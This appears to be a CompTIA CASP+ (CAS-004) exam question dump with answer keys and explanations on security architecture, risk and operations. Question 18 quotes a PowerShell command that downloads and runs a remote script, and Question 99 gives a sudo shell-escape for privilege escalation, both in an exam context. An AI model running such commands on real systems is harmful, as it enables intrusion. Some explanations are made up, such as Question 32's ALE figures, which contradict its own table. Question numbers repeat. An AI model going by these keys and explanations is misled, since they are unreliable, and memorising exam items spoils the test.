Exam Questions CAS-004

CompTIA Advanced Security Practitioner (CASP+) Exam

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NEW QUESTION 1
Users are reporting intermittent access issues with & new cloud application that was recently added to the network. Upon investigation, he scary administrator notices the human resources department Is able to run required queries with the new application, but the marketing department is unable to pull any needed reports on various resources using the new application. Which of the following MOST likely needs to be done to avoid this in the future?

A. Modify the ACLs.
B. Review the Active Directory.
C. Update the marketing department's browser.
D. Reconfigure the WAF.

Answer: A

Explanation:
Modifying the ACLs (access control lists) is the most likely solution to avoid the intermittent access issues with the new cloud application. ACLs are used to define permissions for different users and groups to access resources on a network. The problem may be caused by incorrect or missing ACLs for the marketing department that prevent them from accessing the cloud application or its data sources. The other options are either irrelevant or less effective for the given scenario

NEW QUESTION 2
A company recently acquired a SaaS provider and needs to integrate its platform into the company's existing infrastructure without impact to the customer's experience. The SaaS provider does not have a mature security program A recent vulnerability scan of the SaaS provider's systems shows multiple critical vulnerabilities attributed to very old and outdated Oss. Which of the following solutions would prevent these vulnerabilities from being introduced into the company's existing infrastructure?

A. Segment the systems to reduce the attack surface if an attack occurs
B. Migrate the services to new systems with a supported and patched OS.
C. Patch the systems to the latest versions of the existing OSs
D. Install anti-malwar
E. HIPS, and host-based firewalls on each of the systems

Answer: B

NEW QUESTION 3
A company requires a task to be carried by more than one person concurrently. This is an example of:

A. separation of d duties.
B. dual control
C. least privilege
D. job rotation

Answer: B

Explanation:
Dual control is a security principle that requires two or more authorized individuals to perform a task concurrently. This reduces the risk of fraud, error, or misuse of sensitive assets or information. Verified References: https://www.comptia.org/training/books/casp-cas-004-study-guide , https://www.isaca.org/resources/isaca-journal/issues/2018/volume-1/using-dual-control-to- mitigate-risk

NEW QUESTION 4
A security analyst at a global financial firm was reviewing the design of a cloud-based system to identify opportunities to improve the security of the architecture. The system was recently involved in a data breach after a vulnerability was exploited within a virtual machine's operating system. The analyst observed the VPC in which the system was located was not peered with the security VPC that contained the centralized vulnerability scanner due to the cloud provider's limitations. Which of the following is the BEST course of action to help prevent this situation m the near future?

A. Establish cross-account trusts to connect all VPCs via API for secure configuration scanning.
B. Migrate the system to another larger, top-tier cloud provider and leverage the additional VPC peering flexibility.
C. Implement a centralized network gateway to bridge network traffic between all VPCs.
D. Enable VPC traffic mirroring for all VPCs and aggregate the data for threat detection.

Answer: A

Explanation:
The BEST course of action for the security analyst to help prevent a similar situation in the near future is to Establish cross-account trusts to connect all VPCs via API for secure configuration scanning (A). Cross-account trusts allow for VPCs to be securely connected for the purpose of secure configuration scanning, which can help to identify and remediate vulnerabilities within the system.

NEW QUESTION 5
Which of the following BEST sets expectation between the security team and business units within an organization?

A. Risk assessment
B. Memorandum of understanding
C. Business impact analysis
D. Business partnership agreement
E. Services level agreement

Answer: E

Explanation:

A service level agreement (SLA) is the best option to set expectations between the security team and business units within an organization. An SLA is a document that defines the scope, quality, roles, responsibilities, and metrics of a service provided by one party to another. An SLA can help align the security team's objectives and activities with the business units' needs and expectations, as well as establish accountability and communication channels. Verified References: https://www.comptia.org/training/books/casp-cas-004-study-guide , https://searchitchannel.techtarget.com/definition/service-level-agreement

NEW QUESTION 6
A company has hired a security architect to address several service outages on the endpoints due to new malware. The Chief Executive Officer's laptop was impacted while working from home. The goal is to prevent further endpoint disruption. The edge network is protected by a web proxy.
Which of the following solutions should the security architect recommend?

A. Replace the current antivirus with an EDR solution.
B. Remove the web proxy and install a UTM appliance.
C. Implement a deny list feature on the endpoints.
D. Add a firewall module on the current antivirus solution.

Answer: A

Explanation:
Replacing the current antivirus with an EDR (endpoint detection and response) solution is the best solution for addressing several service outages on the endpoints due to new malware. An EDR solution is a technology that provides advanced capabilities for detecting, analyzing, and responding to threats or incidents on endpoints, such as computers, laptops, mobile devices, or servers. An EDR solution can use behavioral analysis, machine learning, threat intelligence, or other methods to identify new or unknown malware that may evade traditional antivirus solutions. An EDR solution can also provide automated or manual remediation actions, such as isolating, blocking, or removing malware from endpoints. Removing the web proxy and installing a UTM (unified threat management) appliance is not a good solution for addressing service outages on endpoints due to new malware, as it could expose endpoints to more threats or attacks by removing a layer of protection that filters web traffic, as well as not provide sufficient detection or response capabilities for endpoint-specific malware. Implementing a deny list feature on endpoints is not a good solution for addressing service outages on endpoints due to new malware, as it could be ineffective or impractical for blocking new or unknown malware that may not be on the deny list, as well as not provide sufficient detection or response capabilities for endpoint-specific malware. Adding a firewall module on the current antivirus solution is not a good solution for addressing service outages on endpoints due to new malware, as it could introduce compatibility or performance issues for endpoints by adding an additional feature that may not be integrated or optimized with the antivirus solution, as well as not provide sufficient detection or response capabilities for endpoint-specific malware. Verified References: https://www.comptia.org/blog/what-is-edr https://partners.comptia.org/docs/default-source/resources/casp-content-guide

NEW QUESTION 7
An application server was recently upgraded to prefer TLS 1.3, and now users are unable to connect their clients to the server. Attempts to reproduce the error are confirmed, and clients are reporting the following:
ERR_SSL_VERSION_OR_CIPHER_MISMATCH
Which of the following is MOST likely the root cause?

A. The client application is testing PFS.
B. The client application is configured to use ECDHE.
C. The client application is configured to use RC4.
D. The client application is configured to use AES-256 in GCM.

Answer: C

Explanation:
Reference: https://kinsta.com/knowledgebase/err_ssl_version_or_cipher_mismatch/
The client application being configured to use RC4 is the most likely root cause of why users are unable to connect their clients to the server that prefers TLS 1.3. RC4 is an outdated and insecure symmetric-key encryption algorithm that has been deprecated and removed from TLS 1.3, which is the latest version of the protocol that provides secure communication between clients and servers. If the client application is configured to use RC4, it will not be able to negotiate a secure connection with the server that prefers TLS 1.3, resulting in an error message such as ERR_SSL_VERSION_OR_CIPHER_MISMATCH. The client application testing PFS (perfect forward secrecy) is not a likely root cause of why users are unable to connect their clients to the server that prefers TLS 1.3, as PFS is a property that ensures that session keys derived from a set of long-term keys cannot be compromised if one of them is compromised in the future. PFS is supported and recommended by TLS 1.3, which uses ephemeral Diffie-Hellman or elliptic curve Diffie-Hellman key exchange methods to achieve PFS. The client application being configured to use ECDHE (elliptic curve Diffie-Hellman ephemeral) is not a likely root cause of why users are unable to connect their clients to the server that prefers TLS 1.3, as ECDHE is a key exchange method that provides PFS and high performance by using elliptic curve cryptography to generate ephemeral keys for each session. ECDHE is supported and recommended by TLS 1.3, which uses ECDHE as the default key exchange method. The client application being configured to use AES-256 in GCM (Galois/Counter Mode) is not a likely root cause of why users are unable to connect their clients to the server that prefers TLS 1.3, as AES-256 in GCM is an encryption mode that provides confidentiality and integrity by using AES with a 256-bit key and GCM as an authenticated encryption mode. AES-256 in GCM is supported and recommended by TLS 1.3, which uses AES-256 in GCM as one of the default encryption modes. Verified References: https://www.comptia.org/blog/what-is-tls-13 https://partners.comptia.org/docs/default-source/resources/casp-content-guide

NEW QUESTION 8
An enterprise is undergoing an audit to review change management activities when promoting code to production. The audit reveals the following:
• Some developers can directly publish code to the production environment.
• Static code reviews are performed adequately.
• Vulnerability scanning occurs on a regularly scheduled basis per policy.
Which of the following should be noted as a recommendation within the audit report?

A. Implement short maintenance windows.
B. Perform periodic account reviews.
C. Implement job rotation.
D. Improve separation of duties.

Answer: D

NEW QUESTION 9
A shipping company that is trying to eliminate entire classes of threats is developing an SELinux policy to ensure its custom Android devices are used exclusively for package tracking.

After compiling and implementing the policy, in which of the following modes must the company ensure the devices are configured to run?

A. Protecting
B. Permissive
C. Enforcing
D. Mandatory

Answer: C

Explanation:
Reference: https://source.android.com/security/selinux/customize
SELinux (Security-Enhanced Linux) is a security module for Linux systems that provides mandatory access control (MAC) policies for processes and files. SELinux can operate in three modes:
Enforcing: SELinux enforces the MAC policies and denies access based on rules. Permissive: SELinux does not enforce the MAC policies but only logs actions that would
have been denied if running in enforcing mode.
Disabled: SELinux is turned off.
To ensure its custom Android devices are used exclusively for package tracking, the company must configure SELinux to run in enforcing mode. This mode will prevent any unauthorized actions or applications from running on the devices and protect them from potential threats or misuse. References:
https://access.redhat.com/documentation/en- us/red_hat_enterprise_linux/7/html/selinux_users_and_administrators_guide/chap-security- enhanced_linux-
introduction#sect-Security-Enhanced_Linux-Modes https://source.android.com/security/selinux

NEW QUESTION 10
An organization established an agreement with a partner company for specialized help desk services. A senior security officer within the organization Is tasked with providing documentation required to set up a dedicated VPN between the two entities. Which of the following should be required?

A. SLA
B. ISA
C. NDA
D. MOU

Answer: B

Explanation:
An ISA, or interconnection security agreement, is a document that should be required to set up a dedicated VPN between two entities that provide specialized help desk services. An ISA defines the technical and security requirements for establishing, operating, and maintaining a secure connection between two or more organizations. An ISA also specifies the roles and responsibilities of each party, the security controls and policies to be implemented, the data types and classifications to be exchanged, and the incident response procedures to be followed.
References: [CompTIA CASP+ Study Guide, Second Edition, page 36]

NEW QUESTION 10
An organization's existing infrastructure includes site-to-site VPNs between datacenters. In the past year, a sophisticated attacker exploited a zero-day vulnerability on the VPN concentrator. Consequently,
the Chief Information Security Officer (CISO) is making infrastructure changes to mitigate the risk of service loss should another zero-day exploit be used against the VPN solution.
Which of the following designs would be BEST for the CISO to use?

A. Adding a second redundant layer of alternate vendor VPN concentrators
B. Using Base64 encoding within the existing site-to-site VPN connections
C. Distributing security resources across VPN sites
D. Implementing IDS services with each VPN concentrator
E. Transitioning to a container-based architecture for site-based services

Answer: A

Explanation:
If on VPN concentrator goes down due to a zero day threat, having a redundant VPN concentrator of a different vendor should keep you going.

NEW QUESTION 15
A company processes data subject to NDAs with partners that define the processing and storage constraints for the covered data. The agreements currently do not permit moving the covered data to the cloud, and the company would like to renegotiate the terms of the agreements.
Which of the following would MOST likely help the company gain consensus to move the data to the cloud?

A. Designing data protection schemes to mitigate the risk of loss due to multitenancy
B. Implementing redundant stores and services across diverse CSPs for high availability
C. Emulating OS and hardware architectures to blur operations from CSP view
D. Purchasing managed FIM services to alert on detected modifications to covered data

Answer: A

NEW QUESTION 18
A security analyst has noticed a steady increase in the number of failed login attempts to the external-facing mail server. During an investigation of one of the jump boxes, the analyst identified the following in the log file: powershell EX(New-Object Net.WebClient).DownloadString
('https://content.comptia.org/casp/whois.psl');whois
Which of the following security controls would have alerted and prevented the next phase of the attack?

A. Antivirus and UEBA
B. Reverse proxy and sandbox
C. EDR and application approved list

D. Forward proxy and MFA

Answer: C

Explanation:
An EDR and whitelist should protect from this attack.

NEW QUESTION 23
The Chief information Officer (CIO) wants to establish a non-banding agreement with a third party that outlines the objectives of the mutual arrangement dealing with data transfers between both organizations before establishing a format partnership. Which of the follow would MOST likely be used?

A. MOU
B. OLA
C. NDA
D. SLA

Answer: A

NEW QUESTION 25
A security engineer at a company is designing a system to mitigate recent setbacks caused competitors that are beating the company to market with the new products. Several of the products incorporate propriety enhancements developed by the engineer's company. The network already includes a SEIM and a NIPS and requires 2FA for all user access. Which of the following system should the engineer consider NEXT to mitigate the associated risks?

A. DLP
B. Mail gateway
C. Data flow enforcement
D. UTM

Answer: A

Explanation:
A DLP system is the best option for the company to mitigate the risk of losing its proprietary enhancements to competitors. DLP stands for data loss prevention, which is a set of tools and policies that aim to prevent unauthorized access, disclosure, or exfiltration of sensitive data. DLP can monitor, filter, encrypt, or block data transfers based on predefined rules and criteria, such as content, source, destination, etc. DLP can help protect the company's intellectual property and trade secrets from being compromised by malicious actors or accidental leaks. Verified References: https://www.comptia.org/training/books/casp-cas-004-study-guide , https://www.csoonline.com/article/3245746/what-is-dlp-data-loss-prevention-and-how- does-it-work.html

NEW QUESTION 27
A security architect is reviewing the following proposed corporate firewall architecture and configuration:

```
DMZ architecture
Internet---------70.54.30.1-[Firewall_A]----192.168.1.0/24----[Firewall_B]----10.0.0.0/16----corporate net

Firewall_A ACL
10 PERMIT FROM 0.0.0.0/0 TO 192.168.1.0/24 TCP 80,443
20 DENY FROM 0.0.0.0/0 TO 0.0.0.0/0 TCP/UDP 0-65535

Firewall_B ACL
10 PERMIT FROM 10.0.0.0/16 TO 192.168.1.0/24 TCP 80,443
20 PERMIT FROM 10.0.0.0/16 TO 0.0.0.0/0 TCP/UDP 0-65535
30 PERMIT FROM 192.168.1.0/24 TO $DB_SERVERS TCP/UDP 3306
40 DENY FROM 192.168.1.0/24 TO 10.0.0.0/16 TCP/UDP 0-65535
```

Both firewalls are stateful and provide Layer 7 filtering and routing. The company has the following requirements:
Web servers must receive all updates via HTTP/S from the corporate network. Web servers should not initiate communication with the Internet.
Web servers should only connect to preapproved corporate database servers.
Employees' computing devices should only connect to web services over ports 80 and 443. Which of the following should the architect recommend to ensure all requirements are met
in the MOST secure manner? (Choose two.)

A. Add the following to Firewall_A: 15 PERMIT FROM 10.0.0.0/16 TO 0.0.0.0/0 TCP 80,443
B. Add the following to Firewall_A: 15 PERMIT FROM 192.168.1.0/24 TO 0.0.0.0 TCP80,443
C. Add the following to Firewall_A: 15 PERMIT FROM 10.0.0.0/16 TO 0.0.0.0/0 TCP/UDP 0-65535
D. Add the following to Firewall_B: 15 PERMIT FROM 0.0.0.0/0 TO 10.0.0.0/16 TCP/UDP 0-65535
E. Add the following to Firewall_B: 15 PERMIT FROM 10.0.0.0/16 TO 0.0.0.0 TCP/UDP 0- 65535
F. Add the following to Firewall_B: 15 PERMIT FROM 192.168.1.0/24 TO 10.0.2.10/32 TCP 80,443

Answer: AD

NEW QUESTION 30
The Chief Information Security Officer is concerned about the possibility of employees downloading 'malicious files from the internet and 'opening them on corporate workstations. Which of the following solutions would be BEST to reduce this risk?

A. Integrate the web proxy with threat intelligence feeds.
B. Scan all downloads using an antivirus engine on the web proxy.
C. Block known malware sites on the web proxy.
D. Execute the files in the sandbox on the web proxy.

Answer: D

Explanation:
Executing the files in the sandbox on the web proxy is the best solution to reduce the risk of employees downloading and opening malicious files from the internet.

A sandbox is a secure and isolated environment that can run untrusted or potentially harmful code without affecting the rest of the system. By executing the files in the sandbox, the web proxy can analyze their behavior and detect any malicious activity before allowing them to reach the corporate workstations.
References: [CompTIA CASP+ Study Guide, Second Edition, page 273]

NEW QUESTION 32
A cybersecurity analyst created the following tables to help determine the maximum budget amount the business can justify spending on an improved email filtering system:

Month	Total Emails Received	Total Emails Delivered	Spam Detections	Accounts Compromised	Total Business Loss Account Compromise
January	304	240	62	0	$0
February	375	314	58	1	$1000
March	360	289	69	0	$0
April	281	213	67	1	$1000
May	331	273	55	2	$2000
June	721	596	120	6	$6000

Filter	Yearly Cost	Expected Yearly Spam True Positives	Expected Yearly Account Compromises
ABC	$18,000	930	1
XYZ	$16,000	1200	4
GHI	$22,000	2400	0
TUV	$19,000	2000	2

Which of the following meets the budget needs of the business?

A. Filter ABC
B. Filter XYZ
C. Filter GHI
D. Filter TUV

Answer: B

Explanation:
Filter XYZ is the best option that meets the budget needs of the business. Filter XYZ has an ALE of $1 million per year, which is lower than any other filter option. ALE stands for annualized loss expectancy, which is a measure of how much money a business can expect to lose due to a risk over a year. ALE is calculated by multiplying the annualized rate of occurrence (ARO) of an event by the single loss expectancy (SLE) of an event. ARO is how often an event is expected to occur in a year. SLE is how much money an event will cost each time it occurs. Therefore, ALE = ARO x SLE. Filter XYZ has an ARO of 0.1 and an SLE of $10 million, so ALE = 0.1 x $10 million = $1 million. Verified References: https://www.comptia.org/training/books/casp-cas-004-study-guide , https://www.techopedia.com/definition/24771/annualized-loss-expectancy-ale

NEW QUESTION 33
An administrator at a software development company would like to protect the integrity Of the company's applications with digital signatures. The developers report that the signing process keeps failing on all applications. The same key pair used for signing, however, is working properly on the website, is valid, and is issued by a trusted CA. Which of the following is MOST likely the cause of the signature failing?

A. The NTP server is set incorrectly for the developers.
B. The CA has included the certificate in its CRL_
C. The certificate is set for the wrong key usage.
D. Each application is missing a SAN or wildcard entry on the certificate.

Answer: C

Explanation:
Digital signatures require the use of a cryptographic key pair, which consists
of a private key used to sign the application and a public key used to verify the signature. If the certificate used for signing the application is set for the wrong key usage, then the signature will fail. This can happen if the certificate is set for encrypting data instead of signing data, or if the certificate is set for the wrong algorithm, such as using an RSA key for an ECDSA signature.

NEW QUESTION 37
A security auditor needs to review the manner in which an entertainment device operates. The auditor is analyzing the output of a port scanning tool to determine the next steps in the security review. Given the following log output.
The best option for the auditor to use NEXT is:

```
$ nmap -F -T4 192.168.8.11
Starting Nmap 7.60
Nmap scan report for 192.168.8.11
Host is up (0.702s latency).
Not shown: 99 filtered ports
PORT    STATE   SERVICE
80/tcp  open    http
MAC Address: 04:18:18:EB:10:13 (CompTIA)
Nmap done: 1 IP address (1 host up) scanned in 3.18 seconds
```

A. A SCAP assessment.
B. Reverse engineering
C. Fuzzing
D. Network interception.

Answer: A

NEW QUESTION 40
A technician is reviewing the logs and notices a large number of files were transferred to remote sites over the course of three months. This activity then stopped.
The files were transferred via TLS-protected HTTP sessions from systems that do not send traffic to those sites.
The technician will define this threat as:

A. a decrypting RSA using obsolete and weakened encryption attack.
B. a zero-day attack.
C. an advanced persistent threat.
D. an on-path attack.

Answer: C

Explanation:
 Reference: https://www.internetsociety.org/deploy360/tls/basics/
An advanced persistent threat (APT) is a type of cyberattack that involves a stealthy and continuous process of compromising and exploiting a target system or network. An APT typically has a specific goal or objective, such as stealing sensitive data, disrupting operations, or sabotaging infrastructure. An APT can use various techniques to evade detection and maintain persistence, such as encryption, proxy servers, malware, etc. The scenario described in the question matches the characteristics of an APT. References: https://www.cisco.com/c/en/us/products/security/what-is-apt.html https://www.imperva.com/learn/application-security/advanced-persistent-threat-apt/

NEW QUESTION 45
A company created an external, PHP-based web application for its customers. A security researcher reports that the application has the Heartbleed vulnerability.
Which of the following would BEST resolve and mitigate the issue? (Select TWO).

A. Deploying a WAF signature
B. Fixing the PHP code
C. Changing the web server from HTTPS to HTTP
D. UsingSSLv3
E. Changing the code from PHP to ColdFusion
F. Updating the OpenSSL library

Answer: AF

Explanation:
Deploying a web application firewall (WAF) signature is a way to detect and block attempts to exploit the Heartbleed vulnerability on the web server. A WAF signature is a pattern that matches a known attack vector, such as a malicious heartbeat request. By deploying a WAF signature, the company can protect its web application from Heartbleed attacks until the underlying vulnerability is fixed.
Updating the OpenSSL library is the ultimate way to fix and mitigate the Heartbleed vulnerability. The OpenSSL project released version 1.0.1g on April 7, 2014, which patched the bug by adding a bounds check to the heartbeat function. By updating the OpenSSL library on the web server, the company can eliminate the vulnerability and prevent any future exploitation.
* B. Fixing the PHP code is not a way to resolve or mitigate the Heartbleed vulnerability, because the vulnerability is not in the PHP code, but in the OpenSSL library that handles the SSL/TLS encryption for the web server.
* C. Changing the web server from HTTPS to HTTP is not a way to resolve or mitigate the Heartbleed vulnerability, because it would expose all the web traffic to eavesdropping and tampering by attackers. HTTPS provides confidentiality, integrity, and authentication for web communications, and should not be disabled for security reasons.
* D. Using SSLv3 is not a way to resolve or mitigate the Heartbleed vulnerability, because SSLv3 is an outdated and insecure protocol that has been deprecated and replaced by TLS. SSLv3 does not support modern cipher suites, encryption algorithms, or security features, and is vulnerable to various attacks, such as POODLE.
* E. Changing the code from PHP to ColdFusion is not a way to resolve or mitigate the Heartbleed vulnerability, because the vulnerability is not related to the programming language of the web application, but to the OpenSSL library that handles the SSL/TLS encryption for the web server.
https://owasp.org/www-community/vulnerabilities/Heartbleed_Bug https://heartbleed.com/

NEW QUESTION 48
A small business would like to provide guests who are using mobile devices encrypted WPA3 access without first distributing PSKs or other credentials. Which of the following features will enable the business to meet this objective?

A. Simultaneous Authentication of Equals
B. Enhanced open
C. Perfect forward secrecy
D. Extensible Authentication Protocol

Answer: A

NEW QUESTION 50
An organization's hunt team thinks a persistent threats exists and already has a foothold in the enterprise network.
Which of the following techniques would be BEST for the hunt team to use to entice the adversary to uncover malicious activity?

A. Deploy a SOAR tool.
B. Modify user password history and length requirements.
C. Apply new isolation and segmentation schemes.
D. Implement decoy files on adjacent hosts.

Answer: D

Explanation:
 Implementing decoy files on adjacent hosts is a technique that can entice the adversary to uncover malicious activity, as it can lure them into accessing fake or irrelevant data that can trigger an alert or reveal their presence. Decoy files are also known as honeyfiles or honeypots, and they are part of deception technology.

Deploying a SOAR (Security Orchestration Automation and Response) tool may not entice the adversary to uncover malicious activity, as SOAR is mainly focused on automating and streamlining security operations, not deceiving attackers. Modifying user password history and length requirements may not entice the adversary to uncover malicious activity, as it could affect legitimate users and not reveal the attacker's actions. Applying new isolation and segmentation schemes may not entice the adversary to uncover malicious activity, as it could limit their access and movement, but not expose their presence. Verified References: https://www.comptia.org/blog/what-is-deception-technology https://partners.comptia.org/docs/default-source/resources/casp-content-guide

NEW QUESTION 54
A security engineer estimates the company's popular web application experiences 100 attempted breaches per day. In the past four years, the company's data has been breached two times.
Which of the following should the engineer report as the ARO for successful breaches?

A. 0.5
B. 8
C. 50
D. 36,500

Answer: A

Explanation:
Reference: https://blog.netwrix.com/2020/07/24/annual-loss-expectancy-and-quantitative- risk-analysis/
The ARO (annualized rate of occurrence) for successful breaches is the number of times an event is expected to occur in a year. To calculate the ARO for successful breaches, the engineer can divide the number of breaches by the number of years. In this case, the company's data has been breached two times in four years, so the ARO is 2 / 4 = 0.5. The other options are incorrect calculations. Verified References: https://www.comptia.org/blog/what-is-risk-management https://partners.comptia.org/docs/default-source/resources/casp-content-guide

NEW QUESTION 57
A company security engineer arrives at work to face the following scenario:
1) Website defacement
2) Calls from the company president indicating the website needs to be fixed Immediately because It Is damaging the brand
3) A Job offer from the company's competitor
4) A security analyst's investigative report, based on logs from the past six months, describing how lateral movement across the network from various IP addresses originating from a foreign adversary country resulted in exfiltrated data
Which of the following threat actors Is MOST likely involved?

A. Organized crime
B. Script kiddie
C. APT/nation-state
D. Competitor

Answer: C

Explanation:
An Advanced Persistent Threat (APT) is an attack that is targeted, well-planned, and conducted over a long period of time by a nation-state actor. The evidence provided in the scenario indicates that the security analyst has identified a foreign adversary, which is strong evidence that an APT/nation-state actor is responsible for the attack. Resources: CompTIA Advanced Security Practitioner (CASP+) Study Guide, Chapter 5: "Advanced Persistent Threats," Wiley, 2018. https://www.wiley.com/en- us/CompTIA+Advanced+Security+Practitioner+CASP%2B+Study+Guide%2C+2nd+Edition
-p-9781119396582

NEW QUESTION 62
A software development company is building a new mobile application for its social media platform. The company wants to gain its users' trust by re reducing the risk of on-path attacks between the mobile client and its servers and by implementing stronger digital trust. To support users' trust, the company has released the following internal guidelines:
* Mobile clients should verify the identity of all social media servers locally.
* Social media servers should improve TLS performance of their certificate status.
+ Social media servers should inform the client to only use HTTPS.
Given the above requirements, which of the following should the company implement? (Select TWO).

A. Quick UDP internet connection
B. OCSP stapling
C. Private CA
D. DNSSEC
E. CRL
F. HSTS
G. Distributed object model

Answer: BF

Explanation:
OCSP stapling and HSTS are the best options to meet the requirements of reducing the risk of on-path attacks and implementing stronger digital trust. OCSP stapling allows the social media servers to improve TLS performance by sending a signed certificate status along with the certificate, eliminating the need for the client to contact the CA separately. HSTS allows the social media servers to inform the client to only use HTTPS and prevent downgrade attacks. The other options are either irrelevant or less effective for the given scenario.

NEW QUESTION 67
A company just released a new video card. Due to limited supply and high demand, attackers are employing automated systems to purchase the device through the company's web store so they can resell it on the secondary market. The company's intended customers are frustrated. A security engineer suggests implementing a CAPTCHA system on the web store to help reduce the number of video cards purchased through automated systems. Which of the following now describes the level of risk?

A. Inherent
B. Low
C. Mitigated
D. Residual.
E. Transferred

Answer: D

NEW QUESTION 72
A junior developer is informed about the impact of new malware on an Advanced RISC Machine (ARM) CPU, and the code must be fixed accordingly. Based on the debug, the malware is able to insert itself in another process 'memory location. Which of the following technologies can the developer enable on the ARM architecture to prevent this type of malware?

A. Execute never
B. Noexecute
C. Total memory encryption
D. Virtual memory protection

Answer: A

Explanation:
Execute never is a technology that can be enabled on the ARM architecture to prevent malware from inserting itself in another process' memory location. Execute never (also known as XN or NX) is a feature that marks certain memory regions as non-executable, meaning that they cannot be used to run code. This prevents malware from exploiting buffer overflows or other memory corruption vulnerabilities to inject malicious code into another process' memory space.
References: [CompTIA CASP+ Study Guide, Second Edition, page 295]

NEW QUESTION 73
A security analyst detected a malicious PowerShell attack on a single server. The malware used the Invoke-Expression function to execute an external malicious script. The security analyst scanned the disk with an antivirus application and did not find any IOCs. The security analyst now needs to deploy a protection solution against this type of malware.
Which of the following BEST describes the type of malware the solution should protect against?

A. Worm
B. Logic bomb
C. Fileless
D. Rootkit

Answer: C

Explanation:
 Reference: https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital- threats/tracking-detecting-and-thwarting-powershell-based-malware-and-attacks

NEW QUESTION 78
A networking team asked a security administrator to enable Flash on its web browser. The networking team explained that an important legacy embedded system gathers SNMP information from various devices. The system can only be managed through a web browser running Flash. The embedded system will be replaced within the year but is still critical at the moment.
Which of the following should the security administrator do to mitigate the risk?

A. Explain to the networking team the reason Flash is no longer available and insist the team move up the timetable for replacement.
B. Air gap the legacy system from the network and dedicate a laptop with an end-of-life OS on it to connect to the system via crossover cable for management.
C. Suggest that the networking team contact the original embedded system's vendor to get an update to the system that does not require Flash.
D. Isolate the management interface to a private VLAN where a legacy browser in a VM can be used as needed to manage the system.

Answer: D

NEW QUESTION 83
Which of the following represents the MOST significant benefit of implementing a passwordless authentication solution?

A. Biometric authenticators are immutable.
B. The likelihood of account compromise is reduced.
C. Zero trust is achieved.
D. Privacy risks are minimized.

Answer: B

Explanation:
 Reference: https://cloudworks.no/en/5-benefits-of-passwordless-authentication/

NEW QUESTION 84
A security engineer is hardening a company's multihomed SFTP server. When scanning a public-facing network interface, the engineer finds the following ports are open:
22
25
110
137
138
139

445
Internal Windows clients are used to transferring files to the server to stage them for customer download as part of the company's distribution process. Which of the following would be the BEST solution to harden the system?

A. Close ports 110, 138, and 139. Bind ports 22, 25, and 137 to only the internal interface.
B. Close ports 25 and 110. Bind ports 137, 138, 139, and 445 to only the internal interface.
C. Close ports 22 and 139. Bind ports 137, 138, and 445 to only the internal interface.
D. Close ports 22, 137, and 138. Bind ports 110 and 445 to only the internal interface.

Answer: A

NEW QUESTION 89
A new, online file hosting service is being offered. The service has the following security requirements:
• Threats to customer data integrity and availability should be remediated first.
• The environment should be dynamic to match increasing customer demands.
• The solution should not interfere with customers" ability to access their data at anytime.
• Security analysts should focus on high-risk items.
Which of the following would BEST satisfy the requirements?

A. Expanding the use of IPS and NGFW devices throughout the environment
B. Increasing the number of analysts to Identify risks that need remediation
C. Implementing a SOAR solution to address known threats
D. Integrating enterprise threat feeds in the existing SIEM

Answer: C

Explanation:
A SOAR (Security Orchestration, Automation, and Response) solution is a software platform that can automate the detection and response of known threats, such as ransomware, phishing, or denial-of-service attacks. A SOAR solution can also integrate with other security tools, such as IPS, NGFW, SIEM, and threat feeds, to provide a comprehensive and dynamic security posture. A SOAR solution would best satisfy the requirements of the online file hosting service, because it would:
? Remediate threats to customer data integrity and availability first, by automatically
applying predefined actions or workflows based on the severity and type of the threat.
? Allow the environment to be dynamic to match increasing customer demands, by
scaling up or down the security resources and processes as needed.
? Not interfere with customers' ability to access their data at anytime, by minimizing the human intervention and downtime required for threat response.
? Enable security analysts to focus on high-risk items, by reducing the manual tasks and alert fatigue associated with threat detection and response.
Reference: CASP+ (Plus) CompTIA Advanced Security Practitioner Certification …

NEW QUESTION 92
A municipal department receives telemetry data from a third-party provider The server collecting telemetry sits in the municipal departments screened network and accepts connections from the third party over HTTPS. The daemon has a code execution vulnerability from a lack of input sanitization of out-of-bound messages, and therefore, the cybersecurity engineers would like to Implement nsk mitigations. Which of the following actions, if combined, would BEST prevent exploitation of this vulnerability? (Select TWO).

A. Implementing a TLS inspection proxy on-path to enable monitoring and policy enforcement
B. Creating a Linux namespace on the telemetry server and adding to it the servicing HTTP daemon
C. Installing and configuring filesystem integrity monitoring service on the telemetry server
D. Implementing an EDR and alert on Identified privilege escalation attempts to the SIEM
E. Subscribing to a UTM service that enforces privacy controls between the internal network and the screened subnet
F. Using the published data schema to monitor and block off nominal telemetry messages

Answer: AC

Explanation:
 A TLS inspection proxy can be used to monitor and enforce policy on HTTPS connections, ensuring that only valid traffic is allowed through and malicious traffic is blocked. Additionally, a filesystem integrity monitoring service can be installed and
configured on the telemetry server to monitor for any changes to the filesystem, allowing any malicious changes to be detected and blocked.

NEW QUESTION 96
A security architect is tasked with scoping a penetration test that will start next month. The architect wants to define what security controls will be impacted. Which of the following would be the BEST document to consult?

A. Rules of engagement
B. Master service agreement
C. Statement of work
D. Target audience

Answer: C

Explanation:
 The Statement of Work is a document that outlines the scope of the penetration test and defines the objectives, tools, methodology, and targets of the test. It also outlines the security controls that will be impacted by the test and what the expected outcomes are. Additionally, the Statement of Work should include any legal requirements and other considerations that should be taken into account during the penetration test.
Reference: CompTIA Advanced Security Practitioner (CASP+) Study Guide: Chapter 5:
Security Testing, Section 5.4: Defining Scope and Objective.

NEW QUESTION 98
A company wants to refactor a monolithic application to take advantage of cloud native services and service microsegmentation to secure sensitive application

components. Which of the following should the company implement to ensure the architecture is portable?

A. Virtualized emulators
B. Type 2 hypervisors
C. Orchestration
D. Containerization

Answer: D

Explanation:
Containerization is a technology that allows applications to run in isolated and portable environments called containers. Containers are lightweight and self-contained units that
include all the dependencies, libraries, and configuration files needed for an application to run. Containers can be deployed on any platform that supports the
container runtime engine, such as Docker or Kubernetes.
Containerization would allow the company to refactor a monolithic application to take advantage of cloud native services and service microsegmentation to secure
sensitive application components, because containerization would:
? Enable the application to be split into smaller and independent components
(microservices) that can communicate with each other through APIs or message queues.
? Allow the application to leverage cloud native services, such as load balancers,
databases, or serverless functions, that can be integrated with containers through configuration files or environment variables.
? Enhance the security of the application by isolating each container from other
containers and the host system, and applying fine-grained access control policies and network rules to each container or group of containers.
? Ensure the portability of the application by enabling it to run on any cloud provider
or platform that supports containers, without requiring any changes to the application code or configuration.

NEW QUESTION 99
During a system penetration test, a security engineer successfully gained access to a shell on a Linux host as a standard user and wants to elevate the privilege
levels.
Which of the following is a valid Linux post-exploitation method to use to accomplish this goal?

A. Spawn a shell using sudo and an escape string such as sudo vim -c '!sh'.
